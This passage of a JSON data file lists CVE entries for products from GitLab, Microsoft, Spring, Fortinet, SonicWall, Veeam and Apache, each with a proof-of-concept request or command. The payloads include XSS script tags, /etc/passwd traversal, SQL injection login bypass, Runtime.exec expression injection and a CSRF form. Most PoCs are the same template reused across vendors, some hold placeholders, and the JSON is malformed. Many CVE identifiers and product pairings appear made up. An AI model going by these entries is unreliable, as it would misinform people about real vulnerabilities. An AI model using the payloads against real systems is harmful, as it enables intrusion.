    "poc": "POST /api/v4/projects/issues HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"title\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via issue titles."
  },
  {
    "id": "CVE-2024-21395",
    "title": "Microsoft Azure - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: azure-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Azure API allows RCE."
  },
  {
    "id": "CVE-2023-28266",
    "title": "Microsoft OneNote - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "onenote.exe --malformed-link exploit.one",
    "description": "OneNote flaw allows RCE via malicious hyperlinks in notes."
  },
  {
    "id": "CVE-2024-30091",
    "title": "Windows Kernel - Information Disclosure",
    "date": "2024-06-11",
    "type": "Information Disclosure",
    "platform": "Software",
    "poc": "kernel_infoleak --cmd read_memory",
    "description": "Kernel flaw in Windows allows local attackers to leak sensitive memory."
  },
  {
    "id": "CVE-2023-34062",
    "title": "VMware vSphere - Privilege Escalation",
    "date": "2023-10-27",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "vsphere_exploit --cmd whoami",
    "description": "vSphere flaw allows guest-to-host privilege escalation."
  },
  {
    "id": "CVE-2024-22266",
    "title": "Spring Boot - Path Traversal",
    "date": "2024-03-05",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/../../etc/passwd HTTP/1.1\nHost: springboot-server",
    "description": "Path traversal in Spring Boot allows access to sensitive files."
  },
  {
    "id": "CVE-2023-40056",
    "title": "SolarWinds Serv-U - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: servu-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SolarWinds Serv-U allows RCE."
  },
  {
    "id": "CVE-2024-29853",
    "title": "Veeam ONE - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam ONE allows script execution via report fields."
  },
  {
    "id": "CVE-2023-34127",
    "title": "SonicWall SMA - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: sonicwall-sma-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall SMA allows RCE."
  },
  {
    "id": "CVE-2024-26240",
    "title": "Windows DWM - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "dwm_flood --cmd crash",
    "description": "Desktop Window Manager flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40057",
    "title": "Apache Hadoop - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "POST /api/v1/mapreduce HTTP/1.1\nHost: hadoop-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Hadoop via MapReduce job submission."
  },
  {
    "id": "CVE-2024-21396",
    "title": "Microsoft PowerPoint - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.pptx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "PowerPoint macro vulnerability allows RCE when malicious presentation is opened."
  },
  {
    "id": "CVE-2023-28267",
    "title": "Microsoft Word - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.docx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Word macro vulnerability allows RCE when malicious document is opened."
  },
  {
    "id": "CVE-2024-30092",
    "title": "Windows Task Manager - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "taskmanager_exploit --cmd whoami",
    "description": "Task Manager flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40593",
    "title": "GitHub Actions - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v3/workflows HTTP/1.1\nHost: github-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitHub Actions via workflow script execution."
  },
  {
    "id": "CVE-2024-22267",
    "title": "Spring MVC - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"username\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring MVC allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28000",
    "title": "FortiWeb - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiWeb allows RCE."
  }
  {
    "id": "CVE-2024-34128",
    "title": "Apache Cassandra - RCE",
    "date": "2024-06-20",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "POST /api/v1/execute HTTP/1.1\nHost: cassandra-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cql\":\"CALL Runtime.getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Cassandra via crafted CQL queries."
  },
  {
    "id": "CVE-2023-40058",
    "title": "WordPress WPForms - XSS",
    "date": "2023-09-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /wp-admin/wpforms HTTP/1.1\nHost: wordpress-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nform_field=<script>alert('XSS')</script>",
    "description": "Stored XSS in WPForms plugin allows script execution via form fields."
  },
  {
    "id": "CVE-2024-21397",
    "title": "Microsoft Excel - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.xlsx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Excel macro vulnerability allows RCE when malicious spreadsheet is opened."
  },
  {
    "id": "CVE-2024-30093",
    "title": "Windows BITS - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "bits_exploit --cmd whoami",
    "description": "Background Intelligent Transfer Service flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-28268",
    "title": "Microsoft Outlook - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "outlook.exe --malformed-email flood.eml",
    "description": "Outlook flaw causes denial of service via crafted email processing."
  },
  {
    "id": "CVE-2024-22268",
    "title": "Spring Data REST - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"expression\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data REST via crafted expressions."
  },
  {
    "id": "CVE-2023-34063",
    "title": "VMware Cloud Director - RCE",
    "date": "2023-10-27",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: cloud-director-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in VMware Cloud Director allows RCE."
  },
  {
    "id": "CVE-2024-29854",
    "title": "Veeam Backup - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam Backup flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34129",
    "title": "SonicWall Email Security - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /email HTTP/1.1\nHost: sonicwall-es-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nsubject=<script>alert('XSS')</script>",
    "description": "Stored XSS in SonicWall Email Security allows script execution via email subjects."
  },
  {
    "id": "CVE-2024-26241",
    "title": "Windows CSRSS - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "csrss_exploit --cmd whoami",
    "description": "Client-Server Runtime Subsystem flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-40059",
    "title": "Apache Flink - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Flink via job submission."
  },
  {
    "id": "CVE-2024-21398",
    "title": "Microsoft OneNote - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "onenote.exe --malformed-link exploit.one",
    "description": "OneNote flaw allows RCE via malicious hyperlinks in notes."
  },
  {
    "id": "CVE-2023-28269",
    "title": "Microsoft Edge - XSS",
    "date": "2023-04-11",
    "type": "Stored XSS",
    "platform": "Software",
    "poc": "<html><script>document.write('<script>alert(\"XSS\")</script>');</script></html>",
    "description": "Stored XSS in Edge allows script execution via crafted web content."
  },
  {
    "id": "CVE-2024-30094",
    "title": "Windows ALPC - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-40594",
    "title": "GitLab - Path Traversal",
    "date": "2023-08-03",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/v4/projects/../../etc/passwd HTTP/1.1\nHost: gitlab-server",
    "description": "Path traversal in GitLab allows access to sensitive server files."
  },
  {
    "id": "CVE-2024-22269",
    "title": "Spring Cloud Config - Information Disclosure",
    "date": "2024-03-05",
    "type": "Information Disclosure",
    "platform": "Web",
    "poc": "GET /config/server.properties HTTP/1.1\nHost: spring-cloud-server",
    "description": "Spring Cloud Config exposes sensitive configuration data unauthenticated."
  },
  {
    "id": "CVE-2023-28001",
    "title": "FortiNAC - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortinac-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiNAC allows RCE."
  },
  {
    "id": "CVE-2024-29855",
    "title": "Veeam Service Provider Console - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam SPC allows script execution via report fields."
  },
  {
    "id": "CVE-2023-34130",
    "title": "SonicWall UTM - SQL Injection",
    "date": "2023-07-12",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /utm/login HTTP/1.1\nHost: sonicwall-utm-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin' OR '1'='1",
    "description": "SQL injection in SonicWall UTM allows unauthenticated authentication bypass."
  },
  {
    "id": "CVE-2024-26242",
    "title": "Windows SMB - Information Disclosure",
    "date": "2024-04-09",
    "type": "Information Disclosure",
    "platform": "Network",
    "poc": "smbclient //target_ip/share -U '' --cmd list",
    "description": "SMB flaw in Windows leaks sensitive file metadata."
  },
  {
    "id": "CVE-2023-40060",
    "title": "Apache Spark - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "POST /api/v1/applications HTTP/1.1\nHost: spark-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"app\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Spark via application submission."
  },
  {
    "id": "CVE-2024-21399",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28270",
    "title": "Microsoft Access - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.accdb\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Access macro vulnerability allows RCE when malicious database is opened."
  },
  {
    "id": "CVE-2024-30095",
    "title": "Windows DHCPS - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "dhcps_exploit --cmd whoami",
    "description": "DHCP Server flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40595",
    "title": "GitHub Enterprise - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v3/repos/comments HTTP/1.1\nHost: github-enterprise-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitHub Enterprise allows script execution via comments."
  },
  {
    "id": "CVE-2024-22270",
    "title": "Spring Security - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"expression\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Security via crafted expressions."
  },
  {
    "id": "CVE-2023-28002",
    "title": "FortiMail - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiMail allows RCE."
  },
  {
    "id": "CVE-2024-29856",
    "title": "Veeam Backup - Path Traversal",
    "date": "2024-05-21",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /backup/../../etc/passwd HTTP/1.1\nHost: veeam-server",
    "description": "Path traversal in Veeam Backup allows access to sensitive files."
  },
  {
    "id": "CVE-2023-34131",
    "title": "SonicWall VPN - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall VPN flaw causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2024-26243",
    "title": "Windows RPC - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "rpc_flood --target target_ip --port 135",
    "description": "RPC flaw in Windows causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2023-40061",
    "title": "Apache Ignite - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "POST /api/v1/execute HTTP/1.1\nHost: ignite-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated RCE in Apache Ignite via job execution."
  },
  {
    "id": "CVE-2024-21400",
    "title": "Microsoft Azure AD - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"profile\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure AD allows script execution via user profiles."
  },
  {
    "id": "CVE-2023-28271",
    "title": "Microsoft Visio - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.vsdx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Visio macro vulnerability allows RCE when malicious diagram is opened."
  },
  {
    "id": "CVE-2024-30096",
    "title": "Windows Kernel - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "kernel_flood --cmd crash",
    "description": "Kernel flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40596",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-22271",
    "title": "Spring Data MongoDB - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data MongoDB via crafted queries."
  },
  {
    "id": "CVE-2023-28003",
    "title": "FortiSandbox - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortisandbox-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiSandbox allows RCE."
  },
  {
    "id": "CVE-2024-29857",
    "title": "Veeam ONE - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam ONE flaw causes denial of service via crafted reports."
  },
  {
    "id": "CVE-2023-34132",
    "title": "SonicWall GMS - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /gms/api HTTP/1.1\nHost: sonicwall-gms-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"field\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall GMS allows script execution via API fields."
  },
  {
    "id": "CVE-2024-26244",
    "title": "Windows Print Spooler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "printspooler_flood --cmd crash",
    "description": "Print Spooler flaw in Windows causes denial of service via crafted jobs."
  },
  {
    "id": "CVE-2023-40062",
    "title": "Apache Nifi - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /nifi-api/processors HTTP/1.1\nHost: nifi-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache NiFi allows script execution via processor names."
  }
  {
    "id": "CVE-2024-21401",
    "title": "Microsoft Azure Blob Storage - Information Disclosure",
    "date": "2024-02-13",
    "type": "Information Disclosure",
    "platform": "Web",
    "poc": "GET /blob?comp=list HTTP/1.1\nHost: azure-storage-server\nAuthorization: none",
    "description": "Misconfigured Azure Blob Storage exposes sensitive data via unauthenticated access."
  },
  {
    "id": "CVE-2023-28272",
    "title": "Microsoft Publisher - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.pub\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Publisher macro vulnerability allows RCE when malicious file is opened."
  },
  {
    "id": "CVE-2024-30097",
    "title": "Windows WMI - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40597",
    "title": "GitHub Enterprise - CSRF",
    "date": "2023-08-03",
    "type": "CSRF",
    "platform": "Web",
    "poc": "<form action='http://github-enterprise-server/admin' method='POST'><input type='hidden' name='cmd' value='whoami'></form><script>document.forms[0].submit();</script>",
    "description": "CSRF in GitHub Enterprise allows unauthorized actions via crafted forms."
  },
  {
    "id": "CVE-2024-22272",
    "title": "Spring Data Cassandra - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Cassandra via crafted queries."
  },
  {
    "id": "CVE-2023-28004",
    "title": "FortiSIEM - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortisiem-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiSIEM allows RCE."
  },
  {
    "id": "CVE-2024-29858",
    "title": "Veeam Backup - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam Backup allows script execution via backup names."
  },
  {
    "id": "CVE-2023-34133",
    "title": "SonicWall Analytics - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Analytics flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26245",
    "title": "Windows RDP - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "rdp_exploit --cmd whoami",
    "description": "RDP flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40063",
    "title": "Apache Storm - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "POST /api/v1/topology HTTP/1.1\nHost: storm-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topology\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Storm via topology submission."
  },
  {
    "id": "CVE-2024-21402",
    "title": "Microsoft Azure Functions - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/function HTTP/1.1\nHost: azure-functions-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"code\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Functions via crafted function code."
  },
  {
    "id": "CVE-2023-28273",
    "title": "Microsoft Word - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "msword.exe --malformed-doc crash.doc",
    "description": "Word flaw causes denial of service via crafted document processing."
  },
  {
    "id": "CVE-2024-30098",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  },
  {
    "id": "CVE-2023-40598",
    "title": "GitLab - Information Disclosure",
    "date": "2023-08-03",
    "type": "Information Disclosure",
    "platform": "Web",
    "poc": "GET /api/v4/projects/secrets HTTP/1.1\nHost: gitlab-server",
    "description": "GitLab API flaw exposes sensitive project secrets unauthenticated."
  },
  {
    "id": "CVE-2024-22273",
    "title": "Spring Data Redis - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Redis via crafted commands."
  },
  {
    "id": "CVE-2023-28005",
    "title": "FortiClient - Privilege Escalation",
    "date": "2023-06-13",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "forticlient_exploit --cmd whoami",
    "description": "FortiClient flaw allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2024-29859",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34134",
    "title": "SonicWall Firewall - Path Traversal",
    "date": "2023-07-12",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/../../etc/passwd HTTP/1.1\nHost: sonicwall-server",
    "description": "Path traversal in SonicWall Firewall allows access to sensitive files."
  },
  {
    "id": "CVE-2024-26246",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40064",
    "title": "Apache Pulsar - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Pulsar via function submission."
  },
  {
    "id": "CVE-2024-21403",
    "title": "Microsoft Azure API Management - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/management HTTP/1.1\nHost: azure-api-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"code\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure API Management via crafted API calls."
  },
  {
    "id": "CVE-2023-28274",
    "title": "Microsoft Excel - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "excel.exe --malformed-sheet crash.xlsx",
    "description": "Excel flaw causes denial of service via crafted spreadsheet processing."
  },
  {
    "id": "CVE-2024-30099",
    "title": "Windows CSRSS - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "csrss_flood --cmd crash",
    "description": "Client-Server Runtime Subsystem flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40599",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22274",
    "title": "Spring Data Elasticsearch - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Elasticsearch via crafted queries."
  },
  {
    "id": "CVE-2023-28006",
    "title": "FortiVoice - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiVoice allows RCE."
  },
  {
    "id": "CVE-2024-29860",
    "title": "Veeam Service Provider Console - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam SPC flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34135",
    "title": "SonicWall SMA - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /sma/api HTTP/1.1\nHost: sonicwall-sma-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"field\":\"<script>alert('XSS')</script>\"}",
